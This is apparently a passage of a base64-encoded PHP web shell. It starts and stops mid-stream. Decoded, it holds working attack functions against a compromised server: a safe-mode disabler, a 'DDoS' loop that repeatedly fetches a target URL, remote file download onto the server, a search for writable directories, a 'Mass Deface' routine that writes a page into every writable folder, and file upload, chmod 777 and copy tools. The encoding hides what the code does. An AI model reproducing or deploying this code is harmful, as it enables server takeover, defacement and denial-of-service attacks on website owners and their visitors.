0aW9uIHZhbHVlPSJzZmFkZiI+RGlzYWJsZSBTYWZlIE1vZGUgJiBEaXNhYmxlIEZ1bmN0aW9uKFBocC5pbmkpPC9vcHRpb24+DQo8L3NlbGVjdD48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPWVYZWN1dGU+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmKCRfR0VUWydkbyddPT0iZGQwcyIpew0KZWNobyAkaGVhZC4kZm9ybWcuJG5vd2FkZHJlc3MuJzxwIGFsaWduPSJjZW50ZXIiPkFkZHJlc3MgOiA8aW5wdXQgbmFtZT11cmxkZDAgc2l6ZT01MD4gVGltZSA6IDxpbnB1dCBuYW1lPXRpbWVkZDAgc2l6ZT02IHZhbHVlPTQwMDAwPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRERvUyAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfQ0KDQppZigkX0dFVFsndXJsZGQwJ10gJiYgJF9HRVRbJ3RpbWVkZDAnXSl7DQpmb3IgKCRpZD0wOyQkaWQ8JF9HRVRbJ3RpbWVkZDAnXTskaWQrKyl7DQokZnA9bnVsbDsNCiRjb250ZW50cz1udWxsOw0KJGZwPWZvcGVuKCRfR0VUWyd1cmxkZDAnXSwicmIiKTsNCndoaWxlICghZmVvZigkZnApKSB7DQogICRjb250ZW50cyAuPSBmcmVhZCgkZnAsIDgxOTIpOw0KfQ0KZmNsb3NlKCRmcCk7DQp9fQ0KaWYoJF9HRVRbJ2RvJ109PSJkbGZpbGUiKXsNCmVjaG8gJGhlYWQuJGZvcm1wLiRub3dhZGRyZXNzLic8cCBhbGlnbj0iY2VudGVyIj5Eb3dubG9hZCBSZW1vdGUgRmlsZSE8YnI+QWRkcmVzcyA6IDxpbnB1dCBuYW1lPWFkbHIgc2l6ZT03MD48YnI+U2F2ZSBUbyA6IDxpbnB1dCBuYW1lPWFkc3IgdmFsdWU9Jy5nZXRjd2QoKS4kc2xhc2guJyBzaXplPTcwPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgRG93bmxvYWQgICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmZ1bmN0aW9uIGRpcnBlKCRhZGRyZXMpew0KZ2xvYmFsICRzbGFzaDsNCiRpZGQ9MDsNCmlmICgkZGlyaGVuID0gQG9wZW5kaXIoJGFkZHJlcykpIHsNCndoaWxlICgkZmlsZSA9IHJlYWRkaXIoJGRpcmhlbikpIHsNCiRwZXJtZGlyPXN0cl9yZXBsYWNlKCcvLycsJy8nLCRhZGRyZXMuJHNsYXNoLiRmaWxlKTsNCmlmKCRmaWxlIT0nLicgJiYgJGZpbGUhPScuLicgJiYgaXNfZGlyKCRwZXJtZGlyKSl7DQppZiAoaXNfd3JpdGFibGUoJHBlcm1kaXIpKSB7DQokZGlyZGF0YVskaWRkXVsnZmlsZW5hbWUnXT0kcGVybWRpcjsgDQokaWRkKys7DQp9DQpkaXJwZSgkcGVybWRpcik7DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoJGRpcmhlbik7DQoJfSBlbHNlIHsNCgkJcmV0dXJuICgibm90cGVybSIpOw0KCX0NCglpZiAoJGRpcmRhdGEpew0KCXJldHVybiAkZGlyZGF0YTsNCgl9ZWxzZXsNCgkJcmV0dXJuICJub3Rmb3VuZCI7DQoNCgl9DQp9DQpmdW5jdGlvbiBkaXJwbWFzcygkYWRkcmVzLCRtYXNzbmFtZSwkbWFzc3NvdXJjZSl7DQpnbG9iYWwgJHNsYXNoOw0KJGlkZD0wOw0KaWYgKCRkaXJoZW4gPSBAb3BlbmRpcigkYWRkcmVzKSkgew0Kd2hpbGUgKCRmaWxlID0gcmVhZGRpcigkZGlyaGVuKSkgew0KJHBlcm1kaXI9c3RyX3JlcGxhY2UoJy8vJywnLycsJGFkZHJlcy4kc2xhc2guJGZpbGUpOw0KaWYoJGZpbGUhPScuJyAmJiAkZmlsZSE9Jy4uJyAmJiBpc19kaXIoJHBlcm1kaXIpKXsNCmlmIChpc193cml0YWJsZSgkcGVybWRpcikpIHsNCmlmICgkZm09Zm9wZW4oJHBlcm1kaXIuJHNsYXNoLiRtYXNzbmFtZSwidyIpKXsNCmZ3cml0ZSgkZm0sJG1hc3Nzb3VyY2UpOw0KZmNsb3NlKCRmbSk7DQokZGlyZGF0YVskaWRkXVsnZmlsZW5hbWUnXT0kcGVybWRpcjsgDQp9DQoNCiRpZGQrKzsNCn0NCmRpcnBtYXNzKCRwZXJtZGlyKTsNCgkJCX0NCgkJfQ0KCQljbG9zZWRpcigkZGlyaGVuKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gKCJub3RwZXJtIik7DQoJfQ0KCWlmICgkZGlyZGF0YSl7DQoJcmV0dXJuICRkaXJkYXRhOw0KCX1lbHNlew0KCQlyZXR1cm4gIm5vdGZvdW5kIjsNCg0KCX0NCn0NCmlmKCRfR0VUWydkbyddPT0icGVybSIpew0KZWNobyAkaGVhZC4kZm9ybXAuJzxwIGFsaWduPSJjZW50ZXIiPkZpbmQgQWxsIEZvbGRlciBXcml0ZWFibGU8YnI+IDxpbnB1dCBuYW1lPWFmZncgdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiciIHNpemU9NTA+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBTZWFyY2ggICI+PC9mb3JtPjwvcD4nLiRlbmQ7ZXhpdDsNCn0NCmlmICgkX1BPU1RbJ2FmZncnXSl7DQokYXJyZmlsZWxpc3Q9ZGlycGUoJF9QT1NUWydhZmZ3J10pOw0KaWYgKCRhcnJmaWxlbGlzdD09J25vdGZvdW5kJyl7DQphbGVydCgiTm90IEZvdW5kICEiKTsNCn1lbHNlaWYoJGFycmZpbGVsaXN0PT0nbm90cGVybScpew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCn1lbHNlew0KZm9yZWFjaCAoJGFycmZpbGVsaXN0IGFzICR0bXBkaXIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInO30NCiRjb2krKzsNCiRwZXJtZGlyPSRwZXJtZGlyLic8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgYmdjb2xvcj0nLiRjb2xvcnQuJyB3aWR0aD0iOTUwIiBoZWlnaHQ9IjIwIiBkaXI9Imx0ciI+DQo8dHI+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iODQyIj48cCBhbGlnbj0ibGVmdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/YWRkcmVzcz0nLiR0bXBkaXJbJ2ZpbGVuYW1lJ10uJyI+PGI+Jy4kdG1wZGlyWydmaWxlbmFtZSddLic8L2I+PC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI2NSI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PC90cj48L3RhYmxlPic7DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kcGVybWRpci4nPC90YWJsZT4NCjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyZWN0b3J5PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPlVwbG9hZCAtLS0mZ3Q7ICZuYnNwOzwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb3JtIGFjdGlvbj0iJy4kbWUuJyIgbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPicuJG5vd2FkZHJlc3MuJw0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij48aW5wdXQgc2l6ZT00MCB0eXBlPWZpbGUgbmFtZT1maWxlZSA+IA0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVVwbG9hZCAvPjxicj4nLiRpZnVwbG9hZC4nPC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NobW9kIC0tLS0mZ3Q7PC9iPiZuYnNwOyZuYnNwO0ZpbGUgOiA8L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0vbm93Mi5waHA+PGlucHV0IHNpemU9NTUgbmFtZT1jaG1vZGU+Jm5ic3A7Jm5ic3A7UGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPWNobW9kbnVtIHZhbHVlPTc3NyBzaXplPTM+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIE9rICI+PC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NyZWF0ZSBEaXIgLS0tLSZndDs8L2I+IERpcmN0b3J5IE5hbWUgPC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBuYW1lPWNkaXJuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPicuJGZvcm1wLic8Yj5DcmVhdGUgRmlsZSAtLS0tJmd0OzwvYj4gTmFtZSBGaWxlIDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGlucHV0IG5hbWU9Y2ZpbGVuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4nLiRmb3JtcC4nPGI+Q29weSAtLS0tJmd0OzwvYj48L2I+Jm5ic3A7Jm5ic3A7RmlsZSA6IDwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBzaXplPTQwIG5hbWU9Y29weW5hbWU+IFRvIERpcmVjdG9yeSA8aW5wdXQgc2l6ZT00MCBuYW1lPWNweXRvPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+Jy4kZW5kO2V4aXQ7DQp9fQ0KaWYoJF9HRVRbJ2RvJ109PSJtYXNzIil7DQplY2hvICRoZWFkLiRmb3JtcC4nPHAgYWxpZ249ImNlbnRlciI+W01hc3MgRGVmYWNlXTxicj48aW5wdXQgbmFtZT1tZmZ3IHZhbHVlPSInLmdldGN3ZCgpLiRzbGFzaC4nIiBzaXplPTUwPjxpbnB1dCBuYW1lPW1hc3NuYW1lIHZhbHVlPSJkZWYuaHRtIiBzaXplPTEwPjxicj48dGV4dGFyZWEgbmFtZT1tYXNzc291cmNlIGNvbHM9NjAgcm93cz0xOD5Tb3VyY2U8L3RleHRhcmVhPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiAgTWFzcyAgIj48L2Zvcm0+PC9wPicuJGVuZDtleGl0Ow0KfQ0KaWYgKCRfUE9TVFsnbWZmdyddKXsNCiRhcnJmaWxlbGlzdD1kaXJwbWFzcygkX1BPU1RbJ21mZncnXSwkX1BPU1RbJ21hc3NuYW1lJ10sJF9QT1NUWydtYXNzc291cmNlJ10pOw0KaWYgKCRhcnJmaWxlbGlzdD09J25vdGZvdW5kJyl7DQphbGVydCgiTm90IEZvdW5kICEiKTsNCn1lbHNlaWYoJGFycmZpbGVsaXN0PT0nbm90cGVybScpew0KYWxlcnQoIlBlcm1pc3Npb24gRGVuaWVkICEiKTsNCn1lbHNlew0KZm9yZWFjaCAoJGFycmZpbGVsaXN0IGFzICR0bXBkaXIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInO30NCiRjb2krKzsNCiRwZXJtZGlyPSRwZXJtZGlyLic8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgYmdjb2xvcj0nLiRjb2xvcnQuJyB3aWR0aD0iOTUwIiBoZWlnaHQ9IjIwIiBkaXI9Imx0ciI+DQo8dHI+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iODQyIj48cCBhbGlnbj0ibGVmdCI+PHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/YWRkcmVzcz0nLiR0bXBkaXJbJ2ZpbGVuYW1lJ10uJyI+PGI+Jy4kdG1wZGlyWydmaWxlbmFtZSddLic8L2I+PC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI2NSI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjwvdGQ+PC90cj48L3RhYmxlPic7DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kcGVybWRpci4nPC90YWJsZT4NCjx0YWJsZSBib3JkZXI9IjAiIHdpZHRoPSI5NTAiIHN0eWxlPSJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlIiBpZD0idGFibGU0IiBjZWxscGFkZGluZz0iNSI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyZWN0b3J5PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkdvIj48L2Zvcm0+PC90ZD48L3RyPjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPlVwbG9hZCAtLS0mZ3Q7ICZuYnNwOzwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb3JtIGFjdGlvbj0iJy4kbWUuJyIgbWV0aG9kPXBvc3QgZW5jdHlwZT1tdWx0aXBhcnQvZm9ybS1kYXRhPicuJG5vd2FkZHJlc3MuJw0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij48aW5wdXQgc2l6ZT00MCB0eXBlPWZpbGUgbmFtZT1maWxlZSA+IA0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVVwbG9hZCAvPjxicj4nLiRpZnVwbG9hZC4nPC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NobW9kIC0tLS0mZ3Q7PC9iPiZuYnNwOyZuYnNwO0ZpbGUgOiA8L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxmb3JtIG1ldGhvZD1wb3N0IGFjdGlvbj0vbm93Mi5waHA+PGlucHV0IHNpemU9NTUgbmFtZT1jaG1vZGU+Jm5ic3A7Jm5ic3A7UGVybWlzc2lvbiA6IDxpbnB1dCBuYW1lPWNobW9kbnVtIHZhbHVlPTc3NyBzaXplPTM+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIE9rICI+PC9mb3JtPjwvdGQ+PC90cj48dHI+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdCI+PGI+Jy4kZm9ybXAuJ0NyZWF0ZSBEaXIgLS0tLSZndDs8L2I+IERpcmN0b3J5IE5hbWUgPC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0Ij4NCjxpbnB1dCBuYW1lPWNkaXJuYW1lIHNpemU9MjA+Jy4kbm93YWRkcmVzcy4nIDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iIENyZWF0ZSAiPjwvZm9ybT48L3RkPjwvdHI+PHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPicuJGZvcm1wLic8Yj5DcmVhdGUgRmlsZSAtLS0tJmd0